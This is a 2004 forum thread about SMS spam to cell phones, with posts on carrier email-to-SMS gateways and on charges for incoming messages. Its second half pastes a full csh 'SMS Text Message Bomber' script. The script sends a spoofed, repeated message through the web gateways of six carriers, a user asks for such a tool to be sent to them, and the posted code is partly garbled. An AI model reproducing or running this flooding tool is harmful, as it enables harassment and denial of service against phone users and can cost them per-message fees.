June 24th, 2004, 08:20 PM
Cell phone adware.
With all the talk fo new adware it got me to thinking. Imagine the havoc if someone were to get a list of cell phone numbers and text message everyone on it with an advertisement. There is no way to block text messages from a specific target as of yet, so if you didnt want to recieve them you would have to disable text messaging completly. And with companies like t-mobile offering the ability to email messages to people free fo charge it wont be long before a spammer gets ahold of the addresses and goes to work, or just using at&ts web based text messaging client to send free text messages to any att customer. the big companies are begging for this type of stuff to happen. sure the messages would ahve to be short but how many words do you really need to say "Visit www.<randomsite>.com" and with cell phones having access to the internet, it wont take long for a person to rig an application to automaticly conect you to their site, now not only are you being forced to look at something but you are being charged by your service profvider for doing it. And as of now there is no antivirus for cell phones, no ad-aware, people are basicly sitting ducks for this type of attack. i dont know about you guys but I would be pissed if I suddenly got 5 text messages from someone I dont know and all they are, are ads. Just something to think about.
June 24th, 2004, 08:54 PM
That is currently happening. People using the GSM/TDMA network, have received emails or sms' for that matter, from "firstname.lastname@example.org" as a sender. I'm not sure 100% what email the sender was using but I think it was hotmail. I haven't researched on it, but I've seen many people receive the same ad-ware. AT&T wireless was the one that i've noticed it on, i'm not sure about the other ones. I use a Motorola Mpx200, which pretty much uses Pocket Internet Explorer, and I'd be really pissed off if something happened to my phone because of some ***** decided to spam me.
June 24th, 2004, 09:05 PM
There was a college student successfully prosecuted in Russia today for sending spam to 15,000 mobile users. Apparently, it involved a hack into the wireless providers network.
Originally posted here by Cybr1d
That is currently happening. People using the GSM/TDMA network, have received emails or sms' for that matter, from "email@example.com". . .
I think I saw the story on yahoo's most emailed stories but I'm not sure of the source.
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June 24th, 2004, 11:02 PM
Aye, I have some family and friends who use AT&T all of which live in the US, however some of them get spam text messages and some don't, so not sure where the line is drawn. I myself use Verizon and have had only one spam and that was actually from Verizon so I don't think it counts.
June 25th, 2004, 12:56 AM
I too have gotten a couple (2 or 3) spam messages on my Sprint PCS phone. So it seems to be hitting all networks in some form or another.
Edit: Usually its not too hard to do. All you need is the cell phone number and then then its usually #######@providermessagint.com/net/whatever
Duct tape.....A whole lot of Duct Tape
Spyware/Adaware problem click
June 25th, 2004, 12:58 AM
A couple of weeks ago I came across a text message bombing script. You just entered the phone number ,what to display, and how many times to send it. It even figured out what cellular provider the number was for.
In my case, Nextel charges its users that don't have a Text message plan per recived text message.
The scary thing is, for example, you TM bombed someone with nextel, say 100 times with spam. That user is getting charged 15 cents per message. thats a bunch of crap.
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June 25th, 2004, 02:03 AM
Im pretty sure a company cant charge you for recieving a message, only for sending it becasue its impossible to control who sends you things. I have att and have gotten advertisments from them before, but Im talking large scale comercial advertising, like if pepsi were to mass text, or something like that. hell you can even send people text messages on a persons phone using AIM. this will get really bad really fast if someone ever wanted to do it bad enough.
June 25th, 2004, 02:03 AM
where would I get this program? Please PM me the link if u can, I would like to try it out on myself. I have free incoming text msgs.
June 25th, 2004, 07:59 AM
A member of my family own a business that sends out sms's to clientel when new products arrive in. I believe that this is total bullsh*t. Im am so over all the adware cr*p. All people that write these codes for malicious reasons should not live.
June 25th, 2004, 08:15 AM
Something like this???
(see attached for tgz file as well)
SMS is a protocol for sending lame messages
It's easy to bombard anyone who has SMS Text
messages enabled with messages as well as
advertisements. Like taking a dump after you
have eaten a donut, it just comes right out.
My csh script is trivial, it would be easy to
insert different phone numbers into my script
as well as different advertisment types.
You could also write a c prog to fork() my
script - so some serious action can take place.
Mass SMS Marketing Ads, OMG!
or Mass SMS Bombing NO!
That's not fair! You suck!
Ok, so I was bored.
Ok, so I'm immature.
Ok, so you're gay.
Ok, so let's play....
Arg, um, Simple Text Message Service
Allows Lame Teenagers to Message Eachother Dumb
Teen1: H R U?
Teen2: IM OK
Teen1: C U 2 Soon
Anyway, this script can and will send the user
as many as you specify when ran.
Why w3c command line tool?
Why can't you be all elite and do a echo to netcat
or tcpcat man, like how the elite people do it.
--That doesn't always work. Try it on google.com
w3c command line tool is as tight as your ass crack
used to be before I devirginized you. Remember?
Check out their site for more info. w3c.org
day to the mother****ing jay
Chung's Donut Shop
# by d4yj4y
# SMS Text Message Bomber
# DOS SMS! No way!
# Props and Greet0s go to: aRgus, smurfboy, rC0n,
# kokanin,upb,dvdman,mfair and more
# DISCLAIMER: I'm not responsible for what you do with
this. Educational only.
# This uses w3c command line tool. Get it from w3c if
you dont have.
set tmpfile = ".tmp123"
w3c > $tmpfile
if ( `cat $tmpfile` == "" ) then #Do they have the w3c
command line tool installed
echo "Cannot find the w3c command line tool!"
echo "Download it Wrom: YRWTQTIPWIGYOKSTTZRCLBDXRQBG
echo "Make sure it is in your PATH as well"
echo "CHUNG CHUNG CHUNG CHUNG CHUNG CHUNG CHUNG CHUNG
echo "d4yj4y is up in this bitch - be nice"
echo " "
echo "Choose a service type below. Only numbers 1-6
echo -n "(1=Cingular 2=PCS 3=Nextel 4=ATT 5=Verizon
set service = "$<"
echo -n "Number to send to: "
set number = "$<"
echo -n "Phone number you want to send Wrom: JS
set return = "$<"
echo -n "Subject is: "
set subject = "$<"
echo -n "Your mean message: "
set message = "$<"
echo -n "Number of times to send: "
set limit = "$<"
set counter = 1
if ( $service != "1" && $service != "2" && $service !=
"3" && $service != "4" && $service != "5" && $service
!= "6" ) then
echo "Enter in a valid service number bitch!"
echo "Then try again genius!"
if ( $service == "1" ) then
w3c -get http://184.108.40.206/msgresult.shtml -form
"TO=$number" "FROM=$return" "MESSAGE=$message"
"SUBJECT=$subject" "COUNT=25" "CALLBACK=$return"
"min=$number" "msg=$message" > /dev/null
if ( $service == "2") then
-form "post=Send" "recipientsAsString=$number"
"mobileNumber=$number" "counter=5" "body=$message"
"callback=$return" > /dev/null
if ( $service == "3" ) then
w3c -get http://messaging.nextel.com/cgi/iPageExt.dll
-form "cmd=sendPage" "oneWayPTNs=$number"
"twoWayPTNs=" "from=$return" "subject=$subject"
"message=$message" "count=279" "rep1=" "rep2="
"rep3=" "rep4=" "rep5=" "rep6=" "replynumber=$return"
"replyemail=" "confaddr=" > /dev/null
if ( $service == "4" ) then
-form "pin=$number" "from=$return" "subject=$subject"
"message=$message" "sizebox=108" > /dev/null
if ( $service == "5" ) then
"trackResponses=No" "Send.x=Yes" "showgroup=n"
"subject=$subject" "text=$message" "sender=$return"
"callback=$return" "type=1" "count=3" > /dev/null
if ( $service == "6" ) then
"txtMessage=$message" "counter=1" "hdnpublic=0"
"msgTermsUse=true" > /dev/null
clear;echo Chung sent $counter messages to the ****er;
if ( $counter > $limit ) then
goto CLIMAX # What, You Don't like my GOTOs? ****
echo "You did it Daniel Son!"
Found here: http://archives.neohapsis.com/archiv...3-q1/1020.html
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